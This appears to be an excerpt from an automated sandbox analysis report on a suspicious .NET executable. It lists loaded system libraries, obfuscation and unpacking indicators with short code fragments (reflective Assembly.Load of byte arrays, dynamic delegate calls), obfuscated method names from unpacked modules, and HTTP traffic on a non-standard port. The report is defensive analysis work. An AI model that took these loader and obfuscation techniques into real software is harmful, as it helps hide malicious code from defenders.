                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: rasapi32.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: rasman.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: rtutils.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: mswsock.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: winhttp.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: iphlpapi.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: dhcpcsvc6.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: dhcpcsvc.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: dnsapi.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: winnsi.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: rasadhlp.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: fwpuclnt.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: secur32.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: sspicli.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: schannel.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: mskeyprotect.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: ntasn1.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: ncrypt.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: ncryptsslp.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: msasn1.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: gpapi.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: userenv.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: uxtheme.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: ntmarta.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: wbemcomn.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: amsi.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: windowscodecs.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32Jump to behavior
                        Source: Window RecorderWindow detected: More than 3 window changes detected
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
                        Source: chTJmCR9bS.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
                        Source: chTJmCR9bS.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

                        Data Obfuscation

                        barindex
                        .NET source code contains method to dynamically call methods (often used by packers)
                        Source: 0.2.chTJmCR9bS.exe.5cd0000.6.raw.unpack, omAEgsLmk0rNSsw9KS.cs.Net Code: xoWTvaNywMkV2EMeLln(typeof(Marshal).TypeHandle).GetMethod("GetDelegateForFunctionPointer", new Type[2]{xoWTvaNywMkV2EMeLln(typeof(IntPtr).TypeHandle),xoWTvaNywMkV2EMeLln(typeof(Type).TypeHandle)})
                        Source: 0.2.chTJmCR9bS.exe.3721508.2.raw.unpack, omAEgsLmk0rNSsw9KS.cs.Net Code: xoWTvaNywMkV2EMeLln(typeof(Marshal).TypeHandle).GetMethod("GetDelegateForFunctionPointer", new Type[2]{xoWTvaNywMkV2EMeLln(typeof(IntPtr).TypeHandle),xoWTvaNywMkV2EMeLln(typeof(Type).TypeHandle)})
                        .NET source code contains potential unpacker
                        Source: 0.2.chTJmCR9bS.exe.5cd0000.6.raw.unpack, MainForm.cs.Net Code: uhnzfuOu0 System.Reflection.Assembly.Load(byte[])
                        Source: 0.2.chTJmCR9bS.exe.3721508.2.raw.unpack, MainForm.cs.Net Code: uhnzfuOu0 System.Reflection.Assembly.Load(byte[])
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, jYBrVYgaVhihr0xqXk.cs.Net Code: nyBQYG0QSJ System.Reflection.Assembly.Load(byte[])
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, jYBrVYgaVhihr0xqXk.cs.Net Code: nyBQYG0QSJ System.Reflection.Assembly.Load(byte[])
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 0_2_078A4236 push dword ptr [ebp+01h]; ret 0_2_078A423B
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 0_2_078AD0B5 push edx; iretd 0_2_078AD0B8
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 2_2_06C3E5CF push es; ret 2_2_06C3E5D0
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 2_2_06C31810 push es; ret 2_2_06C31820
                        Source: chTJmCR9bS.exeStatic PE information: section name: .text entropy: 7.633753836163965
                        Source: 0.2.chTJmCR9bS.exe.5cd0000.6.raw.unpack, RSlOXPu0D84Uacoq9o.csHigh entropy of concatenated method names: 'dSEPrbjjw5Nfd', 'hetARSe6TOuXdWcNUwV', 'JW3ScdeuSw97XLUTwrK', 'rep2YXegZiT671J0sfi', 'Qm9kV7eWbsvAdJWkG4U', 'huE5g9eKYOF5IIBOPCm', 'nF8jIQeoHcjqCrCHYrC', 'q42kwTecbHcQpRPs53F'
                        Source: 0.2.chTJmCR9bS.exe.5cd0000.6.raw.unpack, b38guUNPeF6SV3DKHu.csHigh entropy of concatenated method names: 'o6SZV3DKH', 'qsnjwlNbE', 'hD8L4Uaco', 'C4k0oYICp', 'e4ZINr0jY', 'rgsqmk0rN', 'Dispose', 'b38NguUPe', 'mgChFQw0HJ8T8kWH5s', 'zwP7kBiLv58RkfgIpM'
                        Source: 0.2.chTJmCR9bS.exe.5cd0000.6.raw.unpack, omAEgsLmk0rNSsw9KS.csHigh entropy of concatenated method names: 'O9QlEUNf2SwRKuXfyy6', 'eoIIfINTGrJKbQv4Ffh', 'nKwuG1ZxdD', 'H8aGLFNbFPyr9ndHw5C', 'Iu44hyNgRelDkZMt6YT', 'ixhgOCNWu2Nj52jSE07', 'QrSq6XN6hM3TKZKB0Yk', 'JD1LZZNuuRDZTNyYZyS', 'VTplgvNKqGOOL8pTyiG', 'K1x7jbNo9hgN71DYLJ3'
                        Source: 0.2.chTJmCR9bS.exe.5cd0000.6.raw.unpack, Form1.csHigh entropy of concatenated method names: 'Dispose', 'WMwCh5Nlp', 'hGKdsRuQ1oxXc30xD7', 'kgkBroKW2VM2ogcDnj', 'hpcXb7Wwbb5kkeMyns', 'VSBnN06cTVemF8pxH1', 'QaqyMpoBwnf08yVTBf', 'LCNLCacEV976Blv0hu', 'Cbm0Fp2bNOXqbpEP2u', 'clQDvFUTcAXT070JZ5'
                        Source: 0.2.chTJmCR9bS.exe.5cd0000.6.raw.unpack, MainForm.csHigh entropy of concatenated method names: 'W1gUM3Dmg', 'MR66KHgKe', 'A003FUDMy', 'Huif9sPTl', 'B1SnrjuYo', 'mOC8YZ6Ms', 'pqN4i1b4H', 'o4TYyenZy', 'KsrhuUiXl', 'JpsklUG6Z'
                        Source: 0.2.chTJmCR9bS.exe.3721508.2.raw.unpack, RSlOXPu0D84Uacoq9o.csHigh entropy of concatenated method names: 'dSEPrbjjw5Nfd', 'hetARSe6TOuXdWcNUwV', 'JW3ScdeuSw97XLUTwrK', 'rep2YXegZiT671J0sfi', 'Qm9kV7eWbsvAdJWkG4U', 'huE5g9eKYOF5IIBOPCm', 'nF8jIQeoHcjqCrCHYrC', 'q42kwTecbHcQpRPs53F'
                        Source: 0.2.chTJmCR9bS.exe.3721508.2.raw.unpack, b38guUNPeF6SV3DKHu.csHigh entropy of concatenated method names: 'o6SZV3DKH', 'qsnjwlNbE', 'hD8L4Uaco', 'C4k0oYICp', 'e4ZINr0jY', 'rgsqmk0rN', 'Dispose', 'b38NguUPe', 'mgChFQw0HJ8T8kWH5s', 'zwP7kBiLv58RkfgIpM'
                        Source: 0.2.chTJmCR9bS.exe.3721508.2.raw.unpack, omAEgsLmk0rNSsw9KS.csHigh entropy of concatenated method names: 'O9QlEUNf2SwRKuXfyy6', 'eoIIfINTGrJKbQv4Ffh', 'nKwuG1ZxdD', 'H8aGLFNbFPyr9ndHw5C', 'Iu44hyNgRelDkZMt6YT', 'ixhgOCNWu2Nj52jSE07', 'QrSq6XN6hM3TKZKB0Yk', 'JD1LZZNuuRDZTNyYZyS', 'VTplgvNKqGOOL8pTyiG', 'K1x7jbNo9hgN71DYLJ3'
                        Source: 0.2.chTJmCR9bS.exe.3721508.2.raw.unpack, Form1.csHigh entropy of concatenated method names: 'Dispose', 'WMwCh5Nlp', 'hGKdsRuQ1oxXc30xD7', 'kgkBroKW2VM2ogcDnj', 'hpcXb7Wwbb5kkeMyns', 'VSBnN06cTVemF8pxH1', 'QaqyMpoBwnf08yVTBf', 'LCNLCacEV976Blv0hu', 'Cbm0Fp2bNOXqbpEP2u', 'clQDvFUTcAXT070JZ5'
                        Source: 0.2.chTJmCR9bS.exe.3721508.2.raw.unpack, MainForm.csHigh entropy of concatenated method names: 'W1gUM3Dmg', 'MR66KHgKe', 'A003FUDMy', 'Huif9sPTl', 'B1SnrjuYo', 'mOC8YZ6Ms', 'pqN4i1b4H', 'o4TYyenZy', 'KsrhuUiXl', 'JpsklUG6Z'
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, WQlkX6yLcBjPjfCGb0.csHigh entropy of concatenated method names: 'I7j9vTljSx', 'I7W9XdXPur', 'G2pme2wQr4', 'tiRmsO0DNr', 'Lj0mgmULUV', 'IFAmERIfto', 'GcOmtnZnF4', 'CkLm4rrMei', 'ldhmcmZjYB', 'm8fmjQTt1j'
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, VgIfj872wSYdSnCG03.csHigh entropy of concatenated method names: 'RUQ1OPyTUA', 'kZx1TVrJS4', 'JQo11li70r', 'xqS13C1q4q', 'sZa1rNbZXC', 'biI1SKxRMx', 'Dispose', 'kcufned1QV', 'KApfVyo3jm', 'KcLfmje3ln'
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, Y5v1ixFVKRc7dYG0KeQ.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'IBKL1m43JP', 'ax8LI8xXGP', 'tP2L3dMGcY', 'eRmLLIyXVn', 'aAyLrBZP3L', 'QpxL7pNwmf', 'YpVLSPRxpF'
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, NP7xX7zR3SuiZ3gfsG.csHigh entropy of concatenated method names: 'mo2ICBYV5L', 'YgHIKyuh42', 'mm2IwCGZ6x', 'xKXINbFAMU', 'QWfIpnHJl6', 'fs5IsFP2Mu', 'qe2IgnZjTt', 'jZ6ISEkQBP', 'A23I8QrqHa', 'vAEIF77M0t'
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, CjjL4SQkbx3NEeKLIR.csHigh entropy of concatenated method names: 'jttYTaesf', 'xxa5ngdkI', 'OQKCYfR2i', 'EA9XS88xJ', 'M2jwIL2N7', 'rh0h5WFsG', 'J36Q2H5IwNq4GRre2P', 'A7iItoFaNjUfYQbNLF', 'O4V68s4oNFRl7iZSV5', 'Fc1fs4uUt'
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, xLlsCFFDTNthkT0UMP9.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'AO6IJjPqgx', 'NZ8IlbuwO2', 'y7mI69mioX', 'SswIRrAQYk', 'Y0cIUD7Hyj', 'X9AIGCWmHu', 'tUDIoqSAPT'
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, bnkfg2Y3riiMpBq2xs.csHigh entropy of concatenated method names: 'dg6d8KNbaE', 'EDYdFsgqGE', 'gRjdYVp5t6', 'pDRd5QF2la', 'IDcdvE7wZ1', 'xUWdCVMUle', 'L9kdXNBWlN', 'cFwdKcU8CS', 'd8jdwbKyrS', 'ROqdhylvEH'
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, cnpOZQtnIxVr5ZpWhv.csHigh entropy of concatenated method names: 'N6bVRmN3FZ', 'uvMVUNqR8C', 'SirVG9j23P', 'Rs5VokQLSP', 'gd0VHpmijP', 'fuPVAfK6oi', 'BruVMFXJUY', 'YnqV0JXqv1', 'nmQVBIR0l2', 'YHcV20BSPs'
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, DKGM7bVgUA546QMrjs.csHigh entropy of concatenated method names: 'px7PdCs2wB', 'IQlPkI9yWg', 'OlxPa9Ndum', 'HyKPynHsGI', 'Cl2PO9Zspj', 'FP5PiZrypA', 'kNOyPXGUXiUMTlbqVc', 'DuQ2G4tDdVBAkGIdIj', 'p42PPR2oIB', 'yyQPbvaCkX'
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, BUxdoELT5A1wgOGMEm.csHigh entropy of concatenated method names: 'KfUdn74H7R', 'H8ZdmVfN54', 'cOAdqglObD', 'fR4q2Z8JKQ', 'SMLqz159lH', 'XVFdWrn0vx', 'QH8dPIt5l9', 'mgrdD19DDQ', 'ywwdbIbDZW', 'P97dQhunan'
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, HG7xW7ikcqAu6jnoPG.csHigh entropy of concatenated method names: 'FhxOjRUja5', 'aPiOluI7wV', 'sdvORTfHcW', 'D6SOUwaK9q', 'zdSOpnv8va', 'Tt5OeMgm1v', 'pUdOsqhxdc', 'jKDOgQNh80', 'akeOEYZpuf', 'C89OtFl4xY'
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, xrna7XFFGuVkkQGo8PY.csHigh entropy of concatenated method names: 'LiII2b5MEU', 'Q1xIzk01Qi', 'ANX3WLwAGW', 'IVi3PAbXZZ', 'IKy3Dydap8', 'y0o3bcKWIK', 'E943QLiD3D', 'glx3xlVJCE', 'ch53n9gqC2', 'BqQ3V5KP3i'
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, N89bnla1ToQ9vUj1Ta.csHigh entropy of concatenated method names: 'QPWImabgQr', 'BAbI9HieUI', 'VevIqQa1IA', 'TLpIdQcqhY', 'oZuI1f3vvp', 'Qt0IkLkpDp', 'Next', 'Next', 'Next', 'NextBytes'
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, chGdWfusLdopAYidqv.csHigh entropy of concatenated method names: 'XuQ1N23M6s', 'Kff1pMdv0P', 'UXy1eXPwwx', 'cot1sDhkeA', 'Kjf1g0p2GX', 'zY11EZyvTP', 'kW01tj4phI', 'rUK14fl33A', 'Faf1cwmYOE', 'asc1jg4bPB'
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, tGW0g7xvg9bnKL0rWp.csHigh entropy of concatenated method names: 'TLlqGMvw5Z', 'n1GqoIBVse', 'GnWqHj2InD', 'ToString', 'EskqAvGMXh', 'meBqMS67Q2', 'RhB9oq3jm6LmAfJsKVG', 'N62Uid3b7msdpliuWR7', 'toycBg3FLX1kNvaBCNg'
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, PV6AMYZ4Ic2J19erOr.csHigh entropy of concatenated method names: 'Fv6uKZCXa1', 'X8quw8bySb', 'OGfuNqynpr', 'JTOupUrhmN', 'LKfusdvZS2', 'F7Qugyduv5', 'FnPuthFRVX', 'sDau4t4eam', 'B46ujBVgW0', 'naRuJrkOhp'
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, IgjgKPFmnIDRjkC8XRG.csHigh entropy of concatenated method names: 'w1E32MJZUc', 'UCx3zFoUhx', 'EFLLW4fiCs', 'MNV1WNXsXcANroPTyfe', 'kqQyRUXXcfuvltJxmIj', 'YpEeJ3XZbjpAASBftHO', 'TnhQRDXkOhihjWDEWv6', 'V6TxqsXHFHyykDKFjvx'
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, WOCAP4OiilwOC8Snv5.csHigh entropy of concatenated method names: 'evcT01rduX', 'P58T2WlGiX', 'X0TfWJpBs6', 'hJAfPm3u1K', 'b4oTJCm004', 'ptHTlvVtFK', 'oblT62lSin', 'TbHTR7VD6r', 'EFgTU1usq5', 'xanTGjVAP4'
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, dITjsrj5ZQyr6pUivB.csHigh entropy of concatenated method names: 'yj2qxedNxe', 'QHhqVBMDxK', 'meQq9c7YNT', 'LLxqdYOS0k', 'ga9qk8xnWp', 'OL49HQlQMu', 'NHK9AQWiNN', 'KDD9Miy2E3', 'h5A90FaoSD', 'uPD9BW44LL'
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, jYBrVYgaVhihr0xqXk.csHigh entropy of concatenated method names: 'BJGbxR6tBR', 'HcjbncAgJA', 'IJqbVb80Qh', 'J0GbmRrtMl', 'snFb94afWU', 'yK1bqXSsEU', 'Lr1bd54xB9', 'kbhbkCB7rg', 'MOVbZMRgA4', 'QxdbaxE3Cq'
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, sNT2LmC8iXos9EHVm2.csHigh entropy of concatenated method names: 'Dispose', 'Np4PB5ARTe', 'vKBDpXmXi2', 'WcOLHdJXfF', 'tQvP2tivga', 'QfNPz51HYJ', 'ProcessDialogKey', 'opVDWoqKfJ', 'ffvDPZWGM9', 'urpDDhHKu5'
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, WQlkX6yLcBjPjfCGb0.csHigh entropy of concatenated method names: 'I7j9vTljSx', 'I7W9XdXPur', 'G2pme2wQr4', 'tiRmsO0DNr', 'Lj0mgmULUV', 'IFAmERIfto', 'GcOmtnZnF4', 'CkLm4rrMei', 'ldhmcmZjYB', 'm8fmjQTt1j'
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, VgIfj872wSYdSnCG03.csHigh entropy of concatenated method names: 'RUQ1OPyTUA', 'kZx1TVrJS4', 'JQo11li70r', 'xqS13C1q4q', 'sZa1rNbZXC', 'biI1SKxRMx', 'Dispose', 'kcufned1QV', 'KApfVyo3jm', 'KcLfmje3ln'
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, Y5v1ixFVKRc7dYG0KeQ.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'IBKL1m43JP', 'ax8LI8xXGP', 'tP2L3dMGcY', 'eRmLLIyXVn', 'aAyLrBZP3L', 'QpxL7pNwmf', 'YpVLSPRxpF'
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, NP7xX7zR3SuiZ3gfsG.csHigh entropy of concatenated method names: 'mo2ICBYV5L', 'YgHIKyuh42', 'mm2IwCGZ6x', 'xKXINbFAMU', 'QWfIpnHJl6', 'fs5IsFP2Mu', 'qe2IgnZjTt', 'jZ6ISEkQBP', 'A23I8QrqHa', 'vAEIF77M0t'
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, CjjL4SQkbx3NEeKLIR.csHigh entropy of concatenated method names: 'jttYTaesf', 'xxa5ngdkI', 'OQKCYfR2i', 'EA9XS88xJ', 'M2jwIL2N7', 'rh0h5WFsG', 'J36Q2H5IwNq4GRre2P', 'A7iItoFaNjUfYQbNLF', 'O4V68s4oNFRl7iZSV5', 'Fc1fs4uUt'
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, xLlsCFFDTNthkT0UMP9.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'AO6IJjPqgx', 'NZ8IlbuwO2', 'y7mI69mioX', 'SswIRrAQYk', 'Y0cIUD7Hyj', 'X9AIGCWmHu', 'tUDIoqSAPT'
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, bnkfg2Y3riiMpBq2xs.csHigh entropy of concatenated method names: 'dg6d8KNbaE', 'EDYdFsgqGE', 'gRjdYVp5t6', 'pDRd5QF2la', 'IDcdvE7wZ1', 'xUWdCVMUle', 'L9kdXNBWlN', 'cFwdKcU8CS', 'd8jdwbKyrS', 'ROqdhylvEH'
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, cnpOZQtnIxVr5ZpWhv.csHigh entropy of concatenated method names: 'N6bVRmN3FZ', 'uvMVUNqR8C', 'SirVG9j23P', 'Rs5VokQLSP', 'gd0VHpmijP', 'fuPVAfK6oi', 'BruVMFXJUY', 'YnqV0JXqv1', 'nmQVBIR0l2', 'YHcV20BSPs'
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, DKGM7bVgUA546QMrjs.csHigh entropy of concatenated method names: 'px7PdCs2wB', 'IQlPkI9yWg', 'OlxPa9Ndum', 'HyKPynHsGI', 'Cl2PO9Zspj', 'FP5PiZrypA', 'kNOyPXGUXiUMTlbqVc', 'DuQ2G4tDdVBAkGIdIj', 'p42PPR2oIB', 'yyQPbvaCkX'
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, BUxdoELT5A1wgOGMEm.csHigh entropy of concatenated method names: 'KfUdn74H7R', 'H8ZdmVfN54', 'cOAdqglObD', 'fR4q2Z8JKQ', 'SMLqz159lH', 'XVFdWrn0vx', 'QH8dPIt5l9', 'mgrdD19DDQ', 'ywwdbIbDZW', 'P97dQhunan'
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, HG7xW7ikcqAu6jnoPG.csHigh entropy of concatenated method names: 'FhxOjRUja5', 'aPiOluI7wV', 'sdvORTfHcW', 'D6SOUwaK9q', 'zdSOpnv8va', 'Tt5OeMgm1v', 'pUdOsqhxdc', 'jKDOgQNh80', 'akeOEYZpuf', 'C89OtFl4xY'
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, xrna7XFFGuVkkQGo8PY.csHigh entropy of concatenated method names: 'LiII2b5MEU', 'Q1xIzk01Qi', 'ANX3WLwAGW', 'IVi3PAbXZZ', 'IKy3Dydap8', 'y0o3bcKWIK', 'E943QLiD3D', 'glx3xlVJCE', 'ch53n9gqC2', 'BqQ3V5KP3i'
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, N89bnla1ToQ9vUj1Ta.csHigh entropy of concatenated method names: 'QPWImabgQr', 'BAbI9HieUI', 'VevIqQa1IA', 'TLpIdQcqhY', 'oZuI1f3vvp', 'Qt0IkLkpDp', 'Next', 'Next', 'Next', 'NextBytes'
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, chGdWfusLdopAYidqv.csHigh entropy of concatenated method names: 'XuQ1N23M6s', 'Kff1pMdv0P', 'UXy1eXPwwx', 'cot1sDhkeA', 'Kjf1g0p2GX', 'zY11EZyvTP', 'kW01tj4phI', 'rUK14fl33A', 'Faf1cwmYOE', 'asc1jg4bPB'
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, tGW0g7xvg9bnKL0rWp.csHigh entropy of concatenated method names: 'TLlqGMvw5Z', 'n1GqoIBVse', 'GnWqHj2InD', 'ToString', 'EskqAvGMXh', 'meBqMS67Q2', 'RhB9oq3jm6LmAfJsKVG', 'N62Uid3b7msdpliuWR7', 'toycBg3FLX1kNvaBCNg'
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, PV6AMYZ4Ic2J19erOr.csHigh entropy of concatenated method names: 'Fv6uKZCXa1', 'X8quw8bySb', 'OGfuNqynpr', 'JTOupUrhmN', 'LKfusdvZS2', 'F7Qugyduv5', 'FnPuthFRVX', 'sDau4t4eam', 'B46ujBVgW0', 'naRuJrkOhp'
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, IgjgKPFmnIDRjkC8XRG.csHigh entropy of concatenated method names: 'w1E32MJZUc', 'UCx3zFoUhx', 'EFLLW4fiCs', 'MNV1WNXsXcANroPTyfe', 'kqQyRUXXcfuvltJxmIj', 'YpEeJ3XZbjpAASBftHO', 'TnhQRDXkOhihjWDEWv6', 'V6TxqsXHFHyykDKFjvx'
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, WOCAP4OiilwOC8Snv5.csHigh entropy of concatenated method names: 'evcT01rduX', 'P58T2WlGiX', 'X0TfWJpBs6', 'hJAfPm3u1K', 'b4oTJCm004', 'ptHTlvVtFK', 'oblT62lSin', 'TbHTR7VD6r', 'EFgTU1usq5', 'xanTGjVAP4'
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, dITjsrj5ZQyr6pUivB.csHigh entropy of concatenated method names: 'yj2qxedNxe', 'QHhqVBMDxK', 'meQq9c7YNT', 'LLxqdYOS0k', 'ga9qk8xnWp', 'OL49HQlQMu', 'NHK9AQWiNN', 'KDD9Miy2E3', 'h5A90FaoSD', 'uPD9BW44LL'
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, jYBrVYgaVhihr0xqXk.csHigh entropy of concatenated method names: 'BJGbxR6tBR', 'HcjbncAgJA', 'IJqbVb80Qh', 'J0GbmRrtMl', 'snFb94afWU', 'yK1bqXSsEU', 'Lr1bd54xB9', 'kbhbkCB7rg', 'MOVbZMRgA4', 'QxdbaxE3Cq'
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, sNT2LmC8iXos9EHVm2.csHigh entropy of concatenated method names: 'Dispose', 'Np4PB5ARTe', 'vKBDpXmXi2', 'WcOLHdJXfF', 'tQvP2tivga', 'QfNPz51HYJ', 'ProcessDialogKey', 'opVDWoqKfJ', 'ffvDPZWGM9', 'urpDDhHKu5'

                        Hooking and other Techniques for Hiding and Protection

                        barindex
                        Uses known network protocols on non-standard ports
                        Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 55615
                        Source: unknownNetwork traffic detected: HTTP traffic on port 55615 -> 49741
                        Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 55615
                        Source: unknownNetwork traffic detected: HTTP traffic on port 55615 -> 49741
                        Source: unknownNetwork traffic detected: HTTP traffic on port 55615 -> 49741
                        Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 55615
                        Source: unknownNetwork traffic detected: HTTP traffic on port 55615 -> 49744
                        Source: unknownNetwork traffic detected: HTTP traffic on port 49745 -> 55615
                        Source: unknownNetwork traffic detected: HTTP traffic on port 55615 -> 49745
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
